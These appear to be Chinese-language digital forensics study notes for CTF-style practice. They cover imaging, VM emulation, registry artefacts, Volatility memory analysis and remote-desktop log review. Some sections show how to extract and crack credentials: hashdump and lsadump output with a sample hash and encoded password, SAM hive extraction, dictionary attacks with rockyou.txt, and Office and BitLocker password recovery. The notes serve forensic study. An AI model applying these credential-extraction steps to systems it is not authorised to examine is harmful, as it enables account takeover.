电子取证
参考文章
https://www.forensics-wiki.com/node/0197f50d-3a4d-7e7d-8279-d043696ea684
https://blog.csdn.net/2301_81210668/article/details/146108090
https://blog.csdn.net/qq_43491969/article/details/147589737
https://www.cnblogs.com/WXjzc/p/18595176
镜像制作
磁盘镜像制作
-
打开FTK Imager选择文件
-
点击创建磁盘镜像

-
选择自己需要的源证据类型

-
在镜像目标这里选择需要的制作镜像类型


-
注意事项
- - 证据项信息根据实际填写 - 镜像目标选择 - 镜像目标文件夹:制作成功的镜像存放的文件夹,请存放在外置硬盘中,禁止放在嫌疑人计算机中。 - 镜像文件名:根据个人选择,注意不要包含后缀名。 - 镜像分片大小:如因镜像太大,可能导致无法打开,因为需要将镜像切片,此处即 每个分片的大小。 - 压缩:0为镜像原大小,数值越大 压缩程度越高。 - Use AD Encryption:请根据实际情况选择
-
点击Finsh即可开始制作
内存镜像
- 在FTK Imager中选择文件-内存抓取

- 目标路径:抓取的内存镜像存放位置。
- 目标文件名:需带上文件后缀名。
- 包含pagefile:即电脑的, 虚拟内存,请参考:百度百科。
- 创建AD1文件:请根据实际情况选择。
- 点击 抓取内存 即可
镜像仿真
qemu-img镜像转换工具
qemu支持格式
介绍
qemu-img能将RAW、qcow2、VMDK、VDI、VHD(vpc)、VHDX、qcow1或QED格式的镜像转换成VHD格式,也可以实现RAW和VHD格式的互相转换。
下载地址:https://cloudbase.it/qemu-img-windows/
用法
将 QCOW2、RAW、VMDK 或 VDI 镜像转换为 vmdk
./qemu-img convert -f raw【镜像的绝对路径】 -O vmdk【镜像的保存路径】
# 镜像绝对路径 例:G:\Forensics\test.raw
# 镜像保存路径 例:G:\Forensics\end\test.vmdk
- -o 指定输出格式
- -p 显示转换进度
- -f 原有镜像格式
其他命令
- 检查虚拟磁盘的一致性
./qemu-img check source.qcow2
- 获取有关虚拟磁盘的信息
./qemu-img info image.qcow2
创建虚拟机
-
新建虚拟机-自定义(高级)
-
兼容性根据实际选择
-
稍后安装操作系统
-
操作系统,虚拟机名称,位置都根据自己需要选择
-
固件类型选择 BIOS
-
处理器,内存根据自己需要选择
-
网络连接选择 桥接模式 ,因为后面可能需要连接数据库等等。
-
SCIS选择, LSI Logic SAS
-
虚拟磁盘类型选择, IDE
-
磁盘选择,

注意:如果你已经用FTK imager挂载了镜像,就直接选择 使用物理磁盘 ,在你之后的操作中,都不会写入原镜像中,但是如果选择了 虚拟磁盘 ,就需要提前 做好镜像的备份 ,因为他会对你之后的操作写入原硬盘。
qemu-img不支持格式
把EnCase镜像格式转换成虚拟机
-
打开FTK imager
-
添加镜像文件
File → Add Evidence Item → Image File → 选择检材_服务器.E01 -
加载完成后,右键磁盘 →
Export Disk Image。(注意不要分卷) -
选择输出格式:
- Raw (dd):得到
.img文件 - 或者 EWF(E01) → Virtual Disk (vmdk)(新版 FTK 支持)
- Raw (dd):得到
-
打开qemu-img
qemu-img convert -f raw -O vmdk server.img server.vmdk
DD、E01挂载
FTK Imager挂载镜像
-
选择 文件 -> 镜像挂载

-
选择镜像文件 -> 加载方法选择:“Block Device / Writeable” -> 点击装载 -> 记住驱动号(Drive)

-
挂载成功后,会在原来的镜像文件处,多出一个, .adcf, 文件,它是用来, 存放镜像虚拟写入的文件,。

VMware新建虚拟机
-
新建虚拟机 -> 自定义(高级) -> 下一步 -> 硬件兼容性默认 -> 下一步


-
选择稍后安装操作系统 -> 下一步

-
操作系统及保存位置 按照实际需要


如果不知道操作系统,在FTK Imager里可以查看到

-
固件类型选择, UEFI

-
处理器及内存根据自己电脑配置选择
-
网络类型选择 使用网络地址转换

-
SCSI控制器选择, LSI Logic SAS(S)

-
磁盘类型选择, SATA

-
磁盘选择, 物理磁盘

-
设备选择 之前FTK Imager挂载后的Drive,

-
之后所有选项默认
-
在启动虚拟机后,如果显示下面的内容,则选择 否,

-
成功启动,

VeraCrypt使用方法
介绍:CTF比赛常用这个加密镜像,需要使用这个解密。
下载地址:https://veracrypt.io/en/Downloads.html
使用方法
- 选择加密卷加载,如果点击选择文件闪退,可以直接拖入镜像文件。

- 输入密码,如有密钥文件则使用密钥文件,如有PIM值则一同输入,选择加载即可

- 加载成功后,在本地中即可显示出新加载的卷

常见的时间戳转换
常用时间戳
秒时间戳:10位
毫秒时间戳:13位
在线工具:
https://www.beijing-time.org/shijianchuo/
离线工具:
ConvertTools
17位时间戳
介绍:Chrome的基准时间是1601年1月1日00:00:00。要计算本地时间,Chrome time必须除以一百万转换为秒,然后必须减去01/01/1601 00:00:00和01/01/1970 00:00:00之间的秒差
在线工具:https://www.epochconverter.com/webkit
18位时间戳
转换方法:取前9位的数值,数值 + 978307200 ,得到一个常见的9位时间戳,使用工具转换成正常时间即可
例:617613267628200064 取前九位 617613267 +978307200=1595920467 1595920467转换后2020-7-28 15:14:27
证据文件格式
位对位镜像:全盘或分区镜像文件
- E01
- 支持无损压缩,精确镜像源介质中的数据;
- 可记录证据制作过程相关信息;
- 支持对源盘进行哈希计算并将其记录在证据文件内部;
- 支持证据文件的密码保护;
- 符合司法规范,通过美国法庭验证。
- Ex01
- 支持对数据块的加密(AES 256),支持采用密码或非对称密钥(公钥/私钥)方式对证据文件进行保护;
- 压缩方法上不需要具体指定某一种压缩方法,压缩功能只提供“启用”和“禁用”。
- DD/Raw Image(原始数据镜像)
- 兼容性较强,多数取证分析工具均支持该格式;
- 对原始数据进行获取,不经过压缩,速度快;
- AFF
- Smart
特定数据镜像:逻辑证据文件
- L01
- Lx01
- AD1 ---ctf赛事中常出现,使用FTK Imager打开
虚拟磁盘
- VMDK :X-ways,vmware(如果存在mssql.ovf文件),
- VHD:windows可直接双击挂载;bitloacker
- VHDX
- VDI
镜像软件工具
| 类型 | 名称 |
|---|---|
| 免费镜像工具 | 美国FTK imager,美国Encase Imager/Tableau Imager,美国Paladin 俄罗斯Belkasoft Acquisition Tool 美国Autopsy 中国流火镜像大师 Myhex 加拿大Magnet Acquire |
| 商业镜像工具 | 德国Xways Imager 美国 MacQuisition 美国Smart Linux |
| 免费挂载工具 | 美国Arsenal Imager Mounter 美国FTK Imager |
| 商业挂载工具 | 澳大利亚Mount Image Pro 美国Arsenal Imager Mounter专业版中国流火挂载 |
数据恢复
UFS Explorer Professional Recovery
windows上最好用的RAID数据恢复工具就是UFS
恢复格式化数据
点击Refresh刷新
右键目标设备->scan for lost data->start scan
等待扫描结束后,就会显示扫描出的文件夹,点击进入即可看见文件树
RAID 0恢复
RAID 0 的核心是 “条带化” 技术,具体过程如下:
- 划分块(Block/Stripe):将整个 RAID 0 阵列视为一个逻辑磁盘,数据被切割成固定大小的 “数据块”。关键是固定大小
- 循环分布:切割后的 data 块会按顺序依次分散到阵列中的各个物理磁盘上。
当获得RAID 0时的回复操作:
- Open->Disk image file or virtual disk
取证工具
注册表工具
AmcacheParser
AmcacheParser 是命令行工具,基本语法如下:
# 解析 Amcache.hve 文件并导出为 CSV 格式
AmcacheParser.exe -f "C:\Windows\AppCompat\Programs\Amcache.hve" -o "D:\取证结果\Amcache分析"
-f:指定 Amcache.hve 文件路径(支持锁定文件,无需复制即可直接解析)-o:指定输出目录,生成的 CSV/JSON 文件会保存到该目录- 其他参数:
-h查看帮助,-v显示详细日志,-csv强制导出 CSV 格式
AppCompatCache
AppCompatCache 是 Windows 系统为解决程序兼容性问题而维护的记录,存储在注册表中(不同系统版本位置不同):
- Windows XP/Server 2003:位于
HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\AppCompatibility\AppCompatCache - Windows Vista 及以上:位于
HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\AppCompatCache\AppCompatCache
# 解析系统当前的 AppCompatCache(需管理员权限)
AppCompatCacheParser.exe -r -o "D:\取证结果\AppCompatCache分析"
# 解析离线的 SYSTEM 注册表 hive 文件(如从镜像中提取的)
AppCompatCacheParser.exe -f "D:\镜像文件\SYSTEM" -o "D:\取证结果\离线分析"
-r:直接读取当前系统的注册表(需管理员权限)-f:指定离线的 SYSTEM 注册表 hive 文件路径-o:指定输出目录,结果以 CSV、JSON 等格式保存- 其他参数:
-h查看帮助,-v显示详细日志,-t强制使用特定时间格式
Volatility 2.6
查看基本信息
.\volatility_2.6.exe -f ".\easyrawencode.raw" imageinfo
-
imageinfo:Volatility 的核心插件之一,用于分析镜像文件的基本信息,帮助确定镜像的操作系统类型、内核版本等关键信息(这是后续分析的基础)。具体如下 -
操作系统类型:比如是 Windows XP、Windows 7、Linux 还是 macOS 等。
-
系统位数:32 位(x86)或 64 位(x64)。
-
内核版本:例如 Windows 7 的内核版本可能是
6.1.7601等。 -
可能的内存页大小:如 4096 字节(常见于 x86/x64 系统)。
-
推荐的 profile:Volatility 分析需要指定 “profile”(对应操作系统版本的配置文件),
imageinfo会根据分析结果推荐最可能的 profile(通常标为Suggested Profile(s))。通常选择推荐的第一个
如:Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_23418 -
地址空间(Address Space)层级
-
镜像的时间信息
查看进程
.\volatility_2.6.exe -f "路径\easyrawencode.raw" -profile=Win7SP1x64 pslist
- 选择推荐的 Profile(比如
Win7SP1x64) pslist用于列出系统中曾运行的进程
列出所有进程启动时的命令行参数
.\volatility_2.6.exe -f "C:\Users\Eth\Desktop\match\西湖\easyrawencode.raw" --profile=Win7SP1x64 cmdline
查找文件
.\volatility_2.6.exe -f ".\easyrawencode.raw" --profile=Win7SP1x64 filescan | findstr rsa

vol.py -f image.raw --profile=Win7SP1x86_23418 filescan | grep Desktop | grep Users
|是管道符,前面的输出会作为后面命令的输入。
文件导出
.\volatility_2.6.exe -f "C:\Users\Eth\Desktop\match\西湖\easyrawencode.raw" --profile=Win7SP1x64 dumpfiles -Q 0x00000000061f5630 -D .
.\volatility_2.6.exe -f "C:\Users\Eth\Desktop\match\西湖\easyrawencode.raw" --profile=Win7SP1x64 dumpfiles -Q 0x000000003dfdf070 -D .
.\volatility_2.6.exe -f "C:\Users\Eth\Desktop\match\西湖\easyrawencode.raw" --profile=Win7SP1x64 dumpfiles -Q 0x000000003fd5bf20 -D .
-D .:-D指定文件提取后的保存目录,.表示当前命令执行的目录(即运行 Volatility 的文件夹)
搜索环境变量
.\volatility_2.6.exe -f "C:\Users\Eth\Desktop\match\西湖\easyrawencode.raw" --profile=Win7SP1x64 envars | findstr hackkey
| findstr hackkey:这是 Windows 命令行中的管道操作,将envars的输出结果传递给findstr工具,只筛选出包含hackkey字符串的行(类似 Linux 中的grep "hackkey")。
残留的命令行历史记录
.\volatility_2.6.exe -f "C:\Users\Eth\Desktop\match\西湖\easyrawencode.raw" --profile=Win7SP1x64 cmdscan
提取控制台输入输出历史记录
.\volatility_2.6.exe -f "C:\Users\Eth\Desktop\match\西湖\easyrawencode.raw" --profile=Win7SP1x64 consoles
Password Kit
- 破解压缩包
- 破解Ofiice
- 破解多种硬盘加密
浏览网页的登陆密码
- 选择Internet&Network

- 弹出的窗口点击Websites

X-ways
搜索过滤浏览
- 显示所有文件

- 点击文件名称,就可以根据文件名过滤

右边可以看到位置
注册表信息查看
- 浏览到c:/windows/system32/config后,选择一个注册表文件,右键打开即可

AXIOM
注意事项
小心爆内存,把虚拟内存设置到150G以上。
Autopsy
Inset介绍
| 模块名称 | 功能说明 | 是否勾选 |
|---|---|---|
| Recent Activity | 分析系统近期活动痕迹,如最近访问的文件、程序记录等 | ✔️ |
| Hash Lookup | 通过哈希值比对识别文件,判断文件是系统文件、恶意文件还是未知文件 | ✔️ |
| File Type Identification | 识别文件的真实类型,确定文件是文档、图片、可执行文件等 | ✔️ |
| Extension Mismatch Detector | 检测文件扩展名与实际文件类型是否不匹配,发现被篡改或隐藏真实用途的文件 | ❌ |
| Embedded File Extractor | 从复合文件(如 Word、PDF)中提取嵌入的子文件(图片、附件等) | ✔️ |
| Picture Analyzer | 分析图片文件,提取图片元数据、识别可疑图片等 | ✔️ |
| Keyword Search | 根据自定义关键词列表,在文件内容、名称、路径中批量搜索匹配内容 | ❌ |
| Email Parser | 识别、提取和解析电子邮件相关文件与信息,包括发件人、收件人、正文、附件等 | ✔️ |
| Encryption Detection | 识别检材中可能被加密的文件或数据,如加密压缩包、加密文档等 | ✔️ |
| Interesting Files Identifier | 自动筛选出检材中可能具有取证价值的文件,如敏感文件类型、高关联度文件等 | ✔️ |
| Central Repository | 管理和利用集中式的哈希库、关键词库等资源,辅助文件识别和搜索 | ✔️ |
| PhotoRec Carver | 从未分配空间等区域恢复已删除的文件碎片,用于恢复被删除的文件 | ✔️ |
| Virtual Machine Extractor | 识别和提取虚拟机相关文件(如.vmdk),解析虚拟机中的数据 | ✔️ |
| Data Source Integrity | 验证数据源的完整性,确保检材数据在分析过程中未被篡改 | ✔️ |
| Android Analyzer (aLEAPP) | 专门分析 Android 手机检材数据,提取 APP 数据、系统信息等 | ✔️ |
| Cyber Triage Malware Scanner | 对文件进行恶意软件扫描,识别潜在的恶意程序 | ❌ |
| DJI Drone Analyzer | 解析大疆无人机相关数据,提取飞行记录、照片等信息 | ✔️ |
| Plaso | 进行深度时间线分析,整合系统中各类事件的时间信息 | ❌ |
| YARA Analyzer | 使用 YARA 规则识别恶意软件、敏感文件等,支持自定义规则 | ✔️ |
| iOS Analyzer (iLEAPP) | 专门分析 iOS 手机检材数据,提取 APP 数据、系统信息等 | ✔️ |
| GPX Parser | 解析 GPX 格式的文件,提取地理位置相关信息(如轨迹记录) | ✔️ |
| Android Analyzer | 分析 Android 手机检材数据的通用模块 | ✔️ |
插件
https://github.com/markmckinnon/Autopsy-Plugins
ForensicsTool
- 密钥计算:微信,野火,抖音
- 数据库解密:微信,高德,钉钉,SQLCipher,wcdb,ntqq,System.Data.SqLite
- 数据提取:Navicat,MobaXterm,Dbeaver,FindShell,Xshell,XFtp,Hawk2.xml,MetaMask
- 注册表分析
- 爆破:AirDrop手机号,微信UIN
- 时间戳转换
Windows磁盘取证
BitLocker
加密过程
- 对一个磁盘进行BitLocker加密的方法很简单,打开资源管理器,在想要加密的磁盘分区上点击右键,选择“启用BitLocker”即可。(在“控制面板”-“系统和安全”-“BitLocker驱动器加密”里也可以启用和管理加密。)
- 点击“启用BitLocker”之后,在新弹出的窗口中设置加密驱动器密码,输入完成后点“下一步”,然后选择保存恢复密钥的位置。
- 一般来说,恢复密钥存放在USB闪存驱动器或打印出来安全系数更高,因为这样操作的话,加密驱动器与恢复密钥分离保管,安全性更好。不过实际情况中,有些时候为了省事,会将恢复密钥保存在硬盘中,这也给了我们解密的可能性。

- 然后BitLocker就开始对整个驱动器进行加密,BitLocker对于驱动器的加密解密耗时较长,用户需要等待相当长的时间。加密完成之后,可以看到原先的磁盘图标上多了一把锁,此时表示驱动器已经加密完成。加密后,磁盘驱动器上会显示一把没有上的锁,这时驱动器是可以打开的。

- 们需要重启电脑,驱动器锁会彻底锁上,需要输入密码或者验证密钥才能打开。

cmd取证
找到黑客获取到的密码文件(内存取证)
-
使用cmdscan,查看黑客执行了哪些有关文件的操作。在windows中,使用
type命令查看文件内容,我们可以通过这个对命令进行过滤

-
再使用filescam,查看文件的偏移。

-
使用dumpfiles导出文件
python vol.py -f SERVER-2008-20241220-162057.raw windows.dumpfiles --physaddr=0x7e4cedd0

EFS
EFS加密
在资源管理器中在要加密的对象上右键——属性——高级——加密内容以便保护数据(不需要输入密码),EFS加密是用账号本人的证书进行加密解密,所以,如果重做了系统,没有证书将无法解密。
EFS解密
导出证书:CertMgr.msc命令,打开证书管理工具,在个人证书下找到加 密文件系统的证书,右键-所有任务-导出,后缀名cer。

重做系统后,把该证书导入,即可打开被EFS加密的对象。操作方法跟导出类似。
分区信息查看
使用火眼查看分区信息
案件>检材>分析详细

ESP的介绍与特征
ESP 分区是 EFI 系统分区的简称,是 GPT 磁盘分区表格式下用于存储引导文件的特殊分区,是 UEFI 启动模式的核心组成部分。
- 格式与标识:必须采用 FAT32 文件系统,分区类型标识为 EF00(GPT 分区表),容量通常建议 100MB-512MB。
- 核心功能:存储 UEFI 固件、引导加载程序(如 GRUB、Windows Boot Manager)、驱动程序及启动配置文件,负责计算机启动时的系统引导。
- 独立性:独立于操作系统分区,即使系统分区损坏,ESP 分区中的引导文件仍可能正常存在,支持多系统引导配置。
文件系统
FAT32
FAT32 文件系统的引导扇区(DBR)中记录着 FAT 表的个数等相关信息。以常用的磁盘编辑工具 WinHex 为例,打开 FAT32 分区后,找到 DBR 所在扇区,一般位于分区的第一个扇区。然后查看其 BPB(BIOS Parameter Block)参数块,在偏移量为 0x10 字节处的值即为 FAT 表的个数。
- 搜索F8FFFF
ip取证
分析rdp连接的跳板地址
rdp(远程桌面协议
),默认使用 3389 端口 进行通信。
跳板地址:在网络连接中起到 “中间转发” 作用的服务器地址
分析进程信息查看3389端口的程序
- 使用netscan查看
volatility_2.6_win64_standalone.exe -f "G:\应急比赛\【题目】小题+综合题 (2)\solar\SERVER-2008-20241220-162057\SERVER-2008-20241220-162057.raw" --profile=Win7SP1x64 netscan

攻击者下载黑客工具的地址
当黑客获取shell后,后续会将一些shell或工具上传到公网ip或局域网ip,使用受害者的shell通过这个ip进行下载。
所以我们需要查看命令框执行历史记录。
- 使用cmdscan查看命令框执行记录
(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)使用正则表达式过去出包含ip的命令。

NAS共享文件夹地址
用户注册表:
C:\Users\[用户名]\NTUSER.DAT
- 用户注册表:/SOFTWARE/Microsoft/Windows/CurrentVersion/Explorer/MountPoints2/

Ofiice密码攻击
password kit工具->recover file possword->自定义->添加字典->攻击
更换字典





注册表取证
windows核心注册表:C:\Windows\System32\config\SYSTEM
用户注册表位置:C:\Users[用户名]\NTUSER.DAT
注册表结构
| 内容 | 描述 |
|---|---|
| HKEY_CLASSES_ROOT | 表示所有文件类型的类信息 |
| HKEY_CURRENT_USER | 表示当前用户的设置信息 |
| HKEY_LOCAL_MACHINE | 表示计算机的硬件和软件信息 |
| HKEY_USERS | 表示所有用户的设置信息 |
| HKEY_CURRENT_CONFIG | 表示当前计算机的设置信息 |
| [Windows注册表文件格式规范 ](https://github.com/msuhanov/regf/blob/master/Windows registry file format specification.md) |
具体目录
系统信息
操作系统安装时间
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion 的InstallDate子键
关机时间
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Windows 的ShutdownTime键值,以64位Windows/FILETIME时间格式保存。
计算机名称
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\ComputerName\ComputerName 的ComputerName键值
本地用户
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names
最后登录的用户
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI
当前登录用户
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI\SessionData\1
连接设备信息
U盘信息
目录:SYSTEM\ControlSet001\Enum\SWD\WPDBUSENUM\
目录结构分段 英文含义与翻译 说明 SYSTEM 系统注册表根键 存储 Windows 系统级配置的核心注册表根键 ControlSet001 控制集 001 Windows 用于存储硬件、软件配置的集合,ControlSet001 是活动配置集之一 Enum 枚举(Enumeration) 用于枚举系统中所有硬件 / 软件设备,记录设备标识、驱动等信息 SWD 软件设备(Software Device) 用于管理 “软件定义的硬件设备”,如多媒体设备、可移动设备的逻辑识别 WPDBUSENUM Windows 可移动设备总线枚举(Windows Portable Devices Bus Enumeration) WPD 是 Windows Portable Devices 的缩写,负责可移动设备(如 U 盘、便携媒体设备)的总线级枚举与管理

-
信息解释
名称 类型 值 说明 (Default) REG_SZ (value not set) 默认注册表项,值未设置 Capabilities REG_DWORD 0x00000080 (176) 设备功能标识,十六进制与十进制数值 ContainerID REG_SZ 设备容器的全局唯一标识符(GUID),用于设备分组识别 CompatibleIDs REG_MULTI_SZ wpdbusenumfs SWDXGeneric 设备兼容的标识列表,多字符串类型,说明设备兼容类别 ClassGUID REG_SZ 设备类的全局唯一标识符(GUID),用于设备归类 Driver REG_SZ {eec5ad98-8080-425f-922a-dabf3de3f69a}\0001 驱动实例路径,关联具体驱动配置 Mfg REG_SZ Kingston 设备制造商,此处为金士顿(Kingston) Service REG_SZ WUDFWpdFs 设备对应的服务名称,用于加载设备服务 ConfigFlags REG_DWORD 0x00000000 (0) 设备配置标志,十进制 0 表示默认配置 DeviceDesc REG_SZ DataTraveler 3.0 设备描述,属于金士顿 DataTraveler 3.0 系列 U 盘 FriendlyName REG_SZ xing120G 设备友好名称,可理解为用户或系统对设备的别名
软件信息
安装的程序
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths
编辑卸载的程序
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
最近使用的文件
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\OpenSavePidlMRU
命令信息
最近运行的命令行
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
主要配置单元
- SYSTEM :对应的注册表分支为 HKEY_LOCAL_MACHINE\SYSTEM ,对应的存储文件是 \Windows\System32\config\SYSTEM ,其作用是存储计算机硬件和系统的信息。
- NTUSER.DAT :对应的注册表分支是 HKEY_CURRENT_USER ,存储在用户目录下,与其他注册表文件是分开的,主要用于存储用户的配置信息。
- SAM :分支是 HKEY_LOCAL_MACHINE\SAM ,存储在 C:\Windows\System32\config\SAM 文件中,保存了用户的密码信息。
- SECURITY :对应的分支 HKEY_LOCAL_MACHINE\SECURITY ,存储在 C:\Windows\System32\config\SECURITY 文件中,保存了安全性设置信息。
- SOFTWARE :分支是 HKEY_LOCAL_MACHINE\SOFTWARE ,文件存储在 C:\Windows\System32\config\SOFTWARE 中,保存安装软件的信息。
访问和修改注册表
- 使用Regedit.exe:Regedit.exe是Windows自带的注册表编辑器,可以用来查看和修改注册表中的键值对。打开Regedit.exe后,可以选择需要查看或修改的节点,然后双击该节点下的键值对进行编辑。Win+R输入:regedit
- 使用Reg.exe:Reg.exe是Windows命令行工具,可以用来在命令行中访问和修改注册表。例如,可以使用“reg query”命令来查询注册表中的键值对,“reg add”命令来添加新的键值对,“reg delete”命令来删除键值对等。
- 使用API:Windows还提供了一组API,可以在程序中访问和修改注册表。例如,可以使用RegOpenKeyEx函数打开一个注册表的键,使用RegQueryValueEx函数查询一个键值对的值,使用RegSetValueEx函数设置一个键值对的值等。
为了防止注册表出错和损坏, Registry hives 还包括注册的事务日志文件和注册表的备份文件。事务日志文件名与注册表文件一致,且在同一个路径中,只是后缀不同。事务日志文件以 .LOG 为后缀,多个日志后缀会显示 LOG1 、 LOG2 这样。(如果要查看这些日志文件,需要打开文件夹选项,取消勾选“隐藏受保护的操作系统文件”)
ForensicsTool工具
- 系统信息
- Build、计算机名称、版本、安装时间、系统名称、发行\产品ID,注册组织等信息、系统时区、关机时间、产品密钥、上次登陆用户
- 网卡信息
- 用户信息
用户名、密码、用户属性、登陆失败和登陆次数、
某.exe的运行情况(NTUSER.DAT)
运行时间、次数、路径信息
-
使用xway导出\user\admin\NTUSER.DAT
-
使用RegRipper4.0解析
-
搜索某exe文件即可

注意要看最后一个搜索结果,最后一个才是该文件总的运行次数。
NTUSER.DAT的注册表内容
-
Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Compatibility Assistant\Store
用户最近运行的可执行文件(EXE)路径及其运行时间Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Compatibility Assistant\Store 2019-12-07 09:08:44Z - C:\Users\admin\AppData\Local\Microsoft\OneDrive\19.043.0304.0013\FileSyncConfig.exe 2019-12-07 09:08:44Z - C:\Users\admin\AppData\Local\Microsoft\OneDrive\21.220.1024.0005\FileSyncConfig.exe 2019-12-07 09:08:44Z - SIGN.MEDIA=35EA298 setup64.exe 2019-12-07 09:08:44Z - SIGN.MEDIA=64F2C setup.exe 2019-12-07 09:08:44Z - SIGN.MEDIA=169CC0 office\setup32.exe 2019-12-07 09:08:44Z - C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeC2RClient.exe 2019-12-07 09:08:44Z - SIGN.MEDIA=A1C464D8 安装用软件\7z2408-x64.exe 2019-12-07 09:08:44Z - SIGN.MEDIA=A1C464D8 安装用软件\winrar-x64-550scp.exe 2019-12-07 09:08:44Z - SIGN.MEDIA=A1C464D8 安装用软件\W.P.S.20.3105.exe 2019-12-07 09:08:44Z - C:\ProgramData\kingsoft\20241109_160654\W.P.S.20.3105.exe 2019-12-07 09:08:44Z - SIGN.MEDIA=A1C464D8 安装用软件\ChromeSetup.exe 2019-12-07 09:08:44Z - SIGN.MEDIA=A1C464D8 安装用软件\nox_setup_v7.0.6.1_full.exe 2019-12-07 09:08:44Z - SIGN.MEDIA=A1C464D8 安装用软件\SunloginClient_15.6.8.15068_x64.exe 2019-12-07 09:08:44Z - SIGN.MEDIA=A1C464D8 安装用软件\WeChatSetup (3).exe 2019-12-07 09:08:44Z - SIGN.MEDIA=A1C464D8 安装用软件\XYAZ-Installer-ch7c8a504c.exe 2019-12-07 09:08:44Z - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe 2019-12-07 09:08:44Z - SIGN.MEDIA=A1C464D8 安装用软件\TrueCrypt Setup 7.1a.exe
windows密码提取
方法一:(内存镜像)Volatility
- 使用hashdump查看
.\volatility.exe -f .\1.dmp --profile=Win7SP1x64 hashdump
- 输出:taqi7:1000:aad3b435b51404eeaad3b435b51404ee:7f21caca5685f10d9e849cc84c340528:::
在线解密得密码明文(hash密码是7f21caca5685f10d9e849cc84c340528)
.\volatility.exe -f .\1.dmp --profile=Win7SP1x64 lsadump
#适用于LSA 机密加密
LSA Secrets 是一个注册表位置,存了很多重要的东西,只有 SYSTEM 帐户可以访问 LSA Secrets 注册表位置,在
HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets.
lsass.exe负责访问和管理 LSA Secrets,当系统需要进行身份验证或访问存储的安全信息时,lsass 进程会从注册表中检索 LSA Secrets,并解密这些信息来完成任务,存密码的叫 DefaultPassword,也是我们要看的。

其中密码是
ZDFyVDlfdTNlUl9wNHNTdzByRF9IQUNLRVIh
方法二:(内存镜像)Passware Kit工具
-
选择Memory Analysis(支持dmp,)
-
选择镜像

-
得到密码

方法三:(磁盘文件)X-ways提取注册表文件使用Passware Kit恢复
-
x-ways加载镜像,

-
导出\Windows\System32\config

-
打开Passwar
-
选择Standalone System

-
加载需要恢复的文件夹

-
一直点击next即可(密码文件推荐使用rockyou.txt)

方法四:注册表hash
-
导出C:/windows/system32/config所有文件
-
使用注册表解析工具,如(ForensicsTool)解析注册表
-
得到hash后去https://www.cmd5.com/解析即可。

PasswareKitForensic密码攻击
passware kit -> Full Disk Encryption -> BitLocker
- 有内存镜像,选择I have a memory image,这样就可以不用暴力破解,因为内存中通常会有恢复密钥。


得到密钥后,在DiskGenius中解密,即可浏览文件。

EFDD攻击(首选)
这个工具非常高效,对于PasswareKit半个小时的攻击,这个几乎秒出。





挂载的bitlocker加密的分区的驱动器号
-
首先要在取证文件中找到对应的磁盘映像文件(vhd)
使用x-ways分析只能一个一个文件夹寻找,不过可以选择挂载出来,使用电脑上的工具去寻找。


-
将对应vhd文件提取

就可以看到驱动器是否被保护。
基本信息取证
密码配置信息
方法一(软件查看)
- 打开本地安全策略

方法二(命令框)
net accounts

远程连接工具取证分析
向日葵远程控制
向日葵操作页面【快速定位基础信息】

向日葵操作页面(已登录)
①登录信息: 关联登录账号与设备列表,锁定操作主体身份。
②被控端信息: “本机识别码+单次验证码”是设备被远程控制的重要凭证。其中,识别码可唯一标记设备,结合日志(如Oray\SunLogin\SunloginClient\log)能回溯历史连接的完整流程,包括设备何时被控制、由谁发起控制等关键信息。
③主控端信息: “伙伴识别码+验证码”与发起控制行为相对应,历史识别码记录关联日志后,可还原具体操作细节,像文件传输的路径、时间以及远程指令的执行痕迹等。
-
系统菜单
- 系统设置:可查看账号信息与登录方式,若为手机号登录,能在账号信息中获取手机号码。

- 日志: 远程连接相关信息,如连接时间、地址等
- 历史记录: 不仅能查看历史连接活动信息以及文件传输信息,还详细记录了每次连接的起止时间、主控端与被控端的识别码、操作类型(如远程桌面控制、远程文件管理);

- 账号被控制记录: 能快速获取当前登录账号下所有设备近 24 小时的被控记录;

- 系统设置:可查看账号信息与登录方式,若为手机号登录,能在账号信息中获取手机号码。
-
⑤消息通知:汇聚了设备通知、活动通知、服务通知三类核心信息

-
⑥设备列表: 在已登录且手动将识别码保存到设备列表的前提下,此处会显示常远程连接控制设备的识别码。

向日葵日志分析【还原连接轨迹】
向日葵日志文件的 3 个存储目录,具体如下:
-
C:\Program Files\Oray\SunLogin\SunloginClient\log
文件名 作用 history 文件传输记录 
-
C:\Users%USERNAME%\AppData\Roaming\Oray\SunloginClient\log(核心连接日志)

-
C:\Users%USERNAME%\AppData\Roaming\Oray\AweSun\log

文件传输记录解析
-
通过history.log查看部分内容。
-
可以发给ai让它进行梳理,按照日期、用户 ID、操作类型、关键行为(传入文件)、操作时长整理为表格。
-
示例
